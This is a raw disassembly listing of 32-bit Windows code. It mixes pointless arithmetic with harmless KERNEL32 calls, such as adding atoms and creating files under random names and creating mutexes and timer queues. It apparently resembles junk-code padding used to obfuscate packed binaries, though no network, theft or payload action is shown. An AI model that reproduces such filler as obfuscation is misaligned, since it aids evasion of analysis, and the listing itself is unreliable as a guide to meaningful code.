movsx ecx, word [ebp - 0x4b8]
mov edx, dword [0x100ba84c]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xa80], cx
push str.IvIMhcM_KVeCk5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x154c], ax
mov ecx, dword [ebp - 0x3df8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3f28]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x38dc]
mov byte [eax], dl
mov ecx, dword [0x100b9ac0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xe7]
sar edx, cl
mov byte [0x100b712e], dl
mov dword [ebp - 0x4540], 0x100b7186
mov eax, dword [0x100b9dd4]
or eax, dword [ebp - 0x3f5c]
mov ecx, dword [ebp - 0x3cb4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x59c]
movzx eax, word [ebp - 0x121c]
and edx, eax
mov word [0x100b7380], dx
movsx ecx, word [0x100ba128]
movsx edx, word [ebp - 0x788]
xor ecx, edx
mov word [ebp - 0x1544], cx
mov eax, dword [ebp - 0x350c]
mov ecx, dword [eax]
mov dword [ebp - 0x4544], ecx
movzx edx, word [ebp - 0x1134]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba4fc], ax
lea eax, [ebp - 0x2c0]
mov dword [0x100babf0], eax
push 0
lea ecx, [ebp - 0x9824]
push ecx
mov edx, dword [0x100ba30c]
push edx
mov eax, dword [0x100ba308]
push eax
mov ecx, dword [ebp - 0x43fc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100babf4], eax
mov edx, dword [ebp - 0x3be0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xb5]
sub eax, ecx
mov byte [ebp - 0x2c5], al
lea edx, [ebp - 0x3160]
mov dword [ebp - 0x4548], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x454c], eax
mov eax, dword [0x100b9688]
movzx edx, word [eax]
movzx ecx, word [0x100b71d8]
shl edx, cl
mov eax, dword [0x100ba33c]
mov word [eax], dx
lea ecx, [ebp - 0x12e4]
mov dword [ebp - 0x4550], ecx
movzx edx, word [ebp - 0x1314]
movzx eax, word [0x100b9e60]
add edx, eax
mov word [ebp - 0x14d4], dx
push 0
push 8
push 1
push 0
push 8
push 0x80000000
push str.qQDxh73wL0ZYzSpSHoWfVmx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100babf8], eax
movzx edx, byte [0x100b71d3]
movzx ecx, byte [ebp - 0x128]
sar edx, cl
mov byte [0x100b7e22], dl
mov eax, dword [ebp - 0x41fc]
mov ecx, dword [eax]
and ecx, dword [0x100b71f0]
mov dword [ebp - 0x3db4], ecx
mov edx, dword [ebp - 0x3068]
or edx, dword [ebp - 0x2d68]
mov dword [ebp - 0x2a48], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4554], eax
mov al, byte [ebp - 0xf7]
mov byte [0x100b821a], al
mov ecx, dword [0x100b9c30]
movzx edx, word [ecx]
movzx eax, word [0x100b71cc]
xor edx, eax
mov word [ebp - 0xf9c], dx
push str.sjGzN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100babfc], ax
lea ecx, [ebp - 0x540]
mov dword [ebp - 0x4558], ecx
mov edx, dword [ebp - 0x3b88]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b959c]
mov byte [ecx], al
movzx edx, byte [ebp - 0x27c]
movzx ecx, byte [0x100b71bb]
shl edx, cl
mov eax, dword [ebp - 0x3548]
mov byte [eax], dl
lea ecx, [ebp - 0x38e4]
mov dword [ebp - 0x455c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba53c], eax
mov edx, dword [ebp - 0x33e8]
mov eax, dword [0x100ba82c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b7384], ecx
movzx edx, word [ebp - 0x1198]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bac00], ax
movsx eax, byte [ebp - 0x11f]
mov ecx, dword [ebp - 0x3824]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x2b8], al
lea edx, [ebp - 0xf60]
mov dword [ebp - 0x4560], edx
mov eax, dword [0x100ba61c]
movsx ecx, word [eax]
imul edx, ecx, 0x123
mov word [0x100b737c], dx
mov dword [ebp - 0x4564], 0x100b7143
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4568], eax
mov eax, dword [ebp - 0x3ce8]
xor eax, dword [ebp - 0x44c8]
mov dword [ebp - 0x3f60], eax
mov dword [0x100bac04], 0x100b735c
mov ecx, dword [ebp - 0x2f84]
mov dword [ebp - 0x456c], ecx
mov edx, dword [0x100ba21c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2d7]
add eax, ecx
mov byte [ebp - 0x15], al
movzx edx, word [ebp - 0x1234]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9f58], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4570], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
push str.OHNN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac08], ax
movsx eax, word [ebp - 0x1144]
movsx ecx, word [ebp - 0x5c0]
or eax, ecx
mov word [str.Q_a_W3k], ax
movzx edx, byte [0x100b7216]
movzx eax, byte [ebp - 0x28b]
and edx, eax
mov byte [ebp - 0x19], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3880], eax
mov ecx, dword [ebp - 0x3cf8]
mov edx, dword [ebp - 0x3794]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [ebp - 0x429c], eax
mov ecx, dword [ebp - 0x3a58]
mov dl, byte [ecx]
mov byte [0x100b821b], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x38ac], eax
lea eax, [ebp - 0x12c8]
mov dword [ebp - 0x4574], eax
push str.NBG3TO
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba680], ax
push str.Im.DnXWyC_Gpe
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac0c], ax
lea ecx, [ebp - 0x9e50]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, word [ebp - 0x1100]
mov eax, dword [ebp - 0x3e48]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3ee4]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bac10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4208], eax
mov ecx, dword [ebp - 0x4140]
mov edx, dword [ebp - 0x36b8]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100ba468], edx
mov ax, word [0x100b72e4]
mov word [ebp - 0x1550], ax
movzx edx, byte [0x100b71cf]
movzx ecx, byte [ebp - 0xe]
sar edx, cl
mov eax, dword [ebp - 0x40e8]
mov byte [eax], dl
push 0x100b990c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0x3a1c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2f30]
mov dword [0x100b7388], edx
movsx eax, byte [ebp - 0x80]
mov ecx, dword [ebp - 0x3c9c]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xdc], al
push str.VU_jDLUfMm0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1554], ax
mov eax, dword [ebp - 0x3b34]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x151c]
and ecx, edx
mov word [ebp - 0xf0c], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x38b8], eax
mov dword [0x100bac14], 0x100ba1d0
mov dword [ebp - 0x4578], 0x775
mov eax, dword [ebp - 0x3f9c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3f18]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3d38]
mov byte [edx], cl
mov eax, dword [ebp - 0x3e40]
mov ecx, dword [ebp - 0x38e4]
or ecx, dword [eax]
mov dword [0x100ba69c], ecx
mov dword [ebp - 0x457c], 0x100b9e70
push 0x100bac18
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100b988c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, byte [ebp - 0x294]
mov eax, dword [ebp - 0x39e0]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3b48]
mov byte [ecx], dl
lea edx, [ebp - 0x3b4c]
mov dword [0x100bac30], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4580], eax
mov eax, dword [ebp - 0x3fbc]
mov cx, word [eax]
mov word [ebp - 0x1558], cx
lea edx, [ebp - 0x9e68]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 0x3130]
mov dword [ebp - 0x4584], eax
movsx edx, word [0x100b7300]
movsx ecx, word [ebp - 0x578]
sar edx, cl
mov word [0x100ba0e4], dx
mov eax, dword [ebp - 0x3418]
mov ecx, dword [ebp - 0x3324]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3d18]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x158]
movzx ecx, byte [ebp - 0xa7]
and eax, ecx
mov byte [ebp - 0xb6], al
mov edx, dword [ebp - 0x42b4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x295]
xor eax, ecx
mov byte [0x100b8083], al
mov edx, dword [ebp - 0x3e98]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x14a]
add eax, ecx
mov byte [ebp - 0x174], al
mov edx, dword [0x100ba17c]
mov eax, dword [0x100ba520]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2dd4], ecx
mov edx, dword [ebp - 0x3740]
mov al, byte [edx]
mov byte [0x100b8232], al
mov ecx, dword [ebp - 0x3d6c]
mov dx, word [ecx]
mov word [ebp - 0x155c], dx
push str.7ixE.J_M7pDCR
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac34], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9764], eax
mov eax, dword [ebp - 0x3818]
movzx ecx, word [eax]
mov edx, dword [0x100ba74c]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xefc], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3b1c]
mov edx, dword [ebp - 0x350c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [0x100ba304]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9d58], eax
push str.C9hlXr
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1560], ax
mov dword [ebp - 0x4588], 0x100b7242
mov edx, dword [ebp - 0x3ad8]
mov eax, dword [0x100babe8]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x32a4], edx
lea eax, [ebp - 0x2bf]
mov dword [0x100bac38], eax
mov ecx, dword [0x100bac04]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x618]
and edx, eax
mov word [ebp - 0x1510], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3878], eax
movsx ecx, word [ebp - 0x1270]
movsx edx, word [0x100ba8b4]
add ecx, edx
mov eax, dword [ebp - 0x3e20]
mov word [eax], cx
push str.Zhdzc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac3c], ax
lea ecx, [ebp - 0xb5]
mov dword [0x100bac40], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x458c], eax
push 0
push 2
push 5
push 0
push 1
push 0xc0000000
push str.X3H84sO1P6eBhjPbld
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bac44], eax
push str.04R0s_ZZl
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9dc4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3f2c], eax
lea edx, [ebp - 0x14a0]
mov dword [ebp - 0x4590], edx
mov eax, dword [ebp - 0x306c]
and eax, dword [ebp - 0x3080]
mov ecx, dword [ebp - 0x3e74]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3e68]
mov eax, dword [0x100b96f4]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [0x100ba010]
mov dword [eax], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4594], eax
lea ecx, [ebp - 0x2a1]
mov dword [ebp - 0x4598], ecx
push 0x26fb
push 0
push 0x100b9ed4
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bac48], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x414c], eax
push str.OBe_4IP.gTzL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1564], ax
mov dx, word [ebp - 0x1278]
mov word [ebp - 0x1568], dx
push 0
push 0x40
push 2
push 0
push 1
push 0xc0000000
push str.X2X0UmHByKItNjxL8PU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bac4c], eax
mov eax, dword [ebp - 0x3bb8]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3a58]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b721a], dl
movzx ecx, word [ebp - 0x594]
movzx edx, word [ebp - 0x13b4]
or ecx, edx
mov word [ebp - 0x13ac], cx
mov eax, dword [ebp - 0x43d0]
mov ecx, dword [eax]
mov dword [ebp - 0x459c], ecx
mov edx, dword [ebp - 0x402c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x39c0]
mov dword [0x100b738c], eax
mov ecx, dword [ebp - 0x4258]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1fa
push 0
push 0x100b9ff4
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3bac], eax
movzx edx, byte [ebp - 0x263]
mov eax, dword [0x100ba6f0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x44fc]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bac50], eax
movsx ecx, byte [ebp - 0x280]
mov edx, dword [ebp - 0x372c]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x28c], cl
mov ecx, dword [ebp - 0x3488]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x38bc]
movsx ecx, word [eax]
imul edx, ecx
mov eax, dword [0x100b9508]
mov word [eax], dx
mov dword [ebp - 0x45a0], 0x100ba1d0
mov ecx, dword [ebp - 0x3980]
mov edx, dword [ebp - 0x3748]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x3ad8]
mov dword [eax], edx
mov cl, byte [ebp - 0x177]
mov byte [0x100b8233], cl
push str.Jf1dyrPS_41jNUiwBEKBY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x156c], ax
lea edx, [ebp - 0x28d]
mov dword [ebp - 0x45a4], edx
mov eax, dword [0x100ba590]
mov ecx, dword [eax]
sub ecx, dword [0x100ba484]
mov edx, dword [ebp - 0x389c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3b34]
movzx edx, word [eax]
mov eax, dword [ebp - 0x42a0]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100ba990], dx
push str.QQtCHY_6g7jC_HdzRir0j
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba344], ax
lea ecx, [ebp - 0xb1b8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0xbec]
mov dword [ebp - 0x45a8], edx
mov eax, dword [ebp - 0x4410]
mov ecx, dword [ebp - 0x30e8]
or ecx, dword [eax]
mov dword [ebp - 0x328c], ecx
mov edx, dword [ebp - 0x3b10]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3978]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b726f], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bac54], eax
lea eax, [ebp - 0x27f]
mov dword [ebp - 0x45ac], eax
mov ecx, dword [0x100b9ba8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3b5c]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x72c], dx
mov dword [0x100bac58], 0x100b9ccc
mov edx, dword [ebp - 0x4190]
imul eax, dword [edx], 0x268f
mov dword [ebp - 0x2db8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b993c], eax
mov ecx, dword [0x100ba450]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x788]
sar edx, cl
mov word [ebp - 0x670], dx
push 0
push 0x1dc2
push 0x2f76
push 0x529
push 1
mov eax, dword [ebp - 0x378c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x368c], eax
mov ecx, dword [ebp - 0x3900]
mov edx, dword [0x100b9dd4]
xor edx, dword [ecx]
mov dword [0x100ba23c], edx
lea eax, [ebp - 0x174]
mov dword [ebp - 0x45b0], eax
mov cl, byte [ebp - 0x294]
mov byte [0x100b823e], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bac5c], eax
push str.U54.A4Ydvz_2xiNJRp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1570], ax
mov edx, dword [ebp - 0x44f8]
movzx eax, word [edx]
movzx ecx, word [0x100b731c]
xor eax, ecx
mov edx, dword [ebp - 0x3e6c]
mov word [edx], ax
lea eax, [ebp - 0x4008]
mov dword [ebp - 0x45b4], eax
mov ecx, dword [ebp - 0x4158]
mov edx, dword [ebp - 0x3968]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100b738c], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9f5c], eax
movsx eax, word [ebp - 0x1384]
mov ecx, dword [0x100b9734]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0xac4], ax
mov eax, dword [ebp - 0x3ec0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x38dc]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x2a5], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x45b8], eax
movzx ecx, byte [ebp - 0x260]
mov edx, dword [ebp - 0x3bb0]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x100b7272], cl
movsx ecx, byte [0x100b7f2b]
movsx edx, byte [ebp - 0x27e]
xor ecx, edx
mov byte [ebp - 0x264], cl
mov eax, dword [ebp - 0x3a1c]
mov ecx, dword [eax]
mov dword [ebp - 0x45bc], ecx
push 0x100a7358
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac60], ax
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
mov ecx, dword [0x100ba6e4]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x100b99e8], ax
mov edx, dword [ebp - 0x3e58]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3a78]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1460], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
lea eax, [ebp - 0x306c]
mov dword [ebp - 0x45c0], eax
movzx ecx, byte [ebp - 0x1de]
movzx edx, byte [ebp - 0x2c3]
add ecx, edx
mov byte [0x100b8172], cl
movsx eax, byte [ebp - 0xf7]
movsx ecx, byte [ebp - 0x22d]
and eax, ecx
mov byte [ebp - 0x143], al
lea edx, [ebp - 0x3c5c]
mov dword [ebp - 0x45c4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x41b4], eax
lea eax, [ebp - 0x13f8]
mov dword [0x100bac64], eax
mov cx, word [ebp - 0xbe8]
mov word [ebp - 0x1574], cx
push 0x23f8
push 0
push 0x100b9e64
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3cac], eax
push 0
push 0x200
push 4
push 0
push 2
push 0xc0000000
push str.7wHo9MuermQRS5tYnxJVQWhvrhnHLBK7vY
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bac68], eax
push str.NJtt_ig
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1578], ax
movzx edx, word [0x100ba290]
mov eax, dword [ebp - 0x3b60]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x33ec]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bac6c], eax
lea ecx, [ebp - 0xe7]
mov dword [0x100bac70], ecx
mov edx, dword [ebp - 0x41c8]
mov ecx, dword [ebp - 0x43a8]
shl edx, cl
mov dword [ebp - 0x2ef4], edx
lea eax, [ebp - 0x9c40]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.Neo_Rm_Qs_UYTTrtyb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x157c], ax
mov ecx, dword [0x100ba838]
mov edx, dword [ebp - 0x4050]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [ebp - 0x3008], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e74], eax
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7256]
xor edx, eax
mov byte [0x100b80e2], dl
movzx ecx, word [ebp - 0x1478]
mov edx, dword [ebp - 0x3b04]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xf0c], cx
lea ecx, [ebp - 0x12b0]
mov dword [ebp - 0x45c8], ecx
lea edx, [ebp - 0x287]
mov dword [0x100bac74], edx
lea eax, [ebp - 0xf3]
mov dword [ebp - 0x45cc], eax
mov ecx, dword [ebp - 0x3938]
mov edx, dword [ecx]
mov ecx, dword [0x100b7368]
shr edx, cl
mov dword [ebp - 0x37ec], edx
push 0
push 0x100b9750
mov eax, dword [ebp - 0x9890]
push eax
mov ecx, dword [ebp - 0x9894]
push ecx
mov edx, dword [ebp - 0x435c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9fe4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bac78], eax
mov eax, dword [ebp - 0x3aa0]
mov ecx, dword [ebp - 0x2de4]
add ecx, dword [eax]
mov edx, dword [0x100ba520]
mov dword [edx], ecx
mov eax, dword [0x100ba264]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x267]
and ecx, edx
mov eax, dword [ebp - 0x35f0]
mov byte [eax], cl
lea ecx, [ebp - 0x7ac]
mov dword [ebp - 0x45d0], ecx
movsx edx, word [0x100b726c]
imul eax, edx, 0x43
mov word [0x100b72a0], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x397c], eax
push 0x373c
push 0x3a22
push 0x1c55
push 0x3a54
mov ecx, dword [0x100ba260]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x45d4], eax
lea edx, [ebp - 0x281]
mov dword [ebp - 0x45d8], edx
mov eax, dword [ebp - 0x3fb4]
mov ecx, dword [ebp - 0x2d04]
shl eax, cl
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bac7c], eax
lea edx, [ebp - 0xfd4]
mov dword [0x100bac80], edx
movzx eax, word [ebp - 0x14cc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bac84], ax
mov eax, dword [0x100b7264]
xor edx, edx
div dword [ebp - 0x2cc0]
mov ecx, dword [ebp - 0x4120]
mov dword [ecx], eax
lea edx, [ebp - 0xcf]
mov dword [ebp - 0x45dc], edx
movsx eax, word [0x100ba574]
mov ecx, dword [ebp - 0x3af8]
movsx edx, word [ecx]
add eax, edx
mov word [0x100bab04], ax
mov al, byte [ebp - 0x2ce]
mov byte [ebp - 0x2d8], al
mov ecx, dword [ebp - 0x40f8]
mov edx, dword [ebp - 0x32fc]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2b8c], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x45e0], eax
mov al, byte [0x100b80fb]
mov byte [0x100b823f], al
push 0x100b9564
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100b9c30]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x36c0]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x44a0]
mov word [eax], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x45e4], eax
mov ecx, dword [ebp - 0x3bdc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1244]
and edx, eax
mov word [ebp - 0x5d0], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9930], eax
mov ecx, dword [ebp - 0x3d24]
mov edx, dword [0x100b98b0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x100b7390], eax
push 0x1ffe
mov ecx, dword [ebp - 0x3600]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x45e8], eax
push str.Fut7TgXJDrE_rUKHgI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac88], ax
movsx edx, word [ebp - 0x1270]
movsx eax, word [0x100baa10]
sub edx, eax
mov word [ebp - 0x1130], dx
lea ecx, [ebp - 0x276]
mov dword [ebp - 0x45ec], ecx
mov edx, dword [0x100ba234]
mov eax, dword [0x100b7310]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100b71c8], eax
mov ecx, dword [ebp - 0x40bc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba2b4], eax
movsx edx, byte [ebp - 0x2a9]
movsx eax, byte [0x100b7262]
add edx, eax
mov byte [ebp - 0xcf], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bac8c], eax
mov cx, word [ebp - 0x12a8]
mov word [ebp - 0x1580], cx
mov dx, word [0x100b735c]
mov word [0x100bac90], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x45f0], eax
lea eax, [ebp - 0xb098]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x77]
mov dword [ebp - 0x45f4], ecx
push 0
push 4
push 0
push 0
push 1
push 0x40000000
push str.C4D3YWcHzX8tGkLVaEBepmf
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bac94], eax
mov edx, dword [ebp - 0x4100]
mov eax, dword [ebp - 0x379c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x100b7280], edx
mov eax, dword [ebp - 0x3ae4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x698]
and ecx, edx
mov word [ebp - 0x670], cx
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x128]
or ecx, edx
mov byte [ebp - 0xf2], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x45f8], eax
push 0
push 0xdc0
push 0x269
push 0x79f7
push 2
mov eax, dword [0x100ba1d8]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba784], eax
mov ecx, dword [0x100babd0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x35e0]
mov eax, dword [0x100b9c54]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c60]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3660]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1150], dx
movzx edx, word [ebp - 0x14ac]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bac98], ax
mov eax, dword [0x100b9c54]
mov ecx, dword [ebp - 0x2cfc]
add ecx, dword [eax]
mov dword [ebp - 0x3170], ecx
mov dword [0x100bac9c], 0x100b7240
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4218], eax
push str.TiPNJhATZQDpG
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baca0], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x45fc], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4600], eax
lea edx, [ebp - 0x3c38]
mov dword [ebp - 0x4604], edx
mov eax, dword [ebp - 0x3c30]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x99]
shl edx, cl
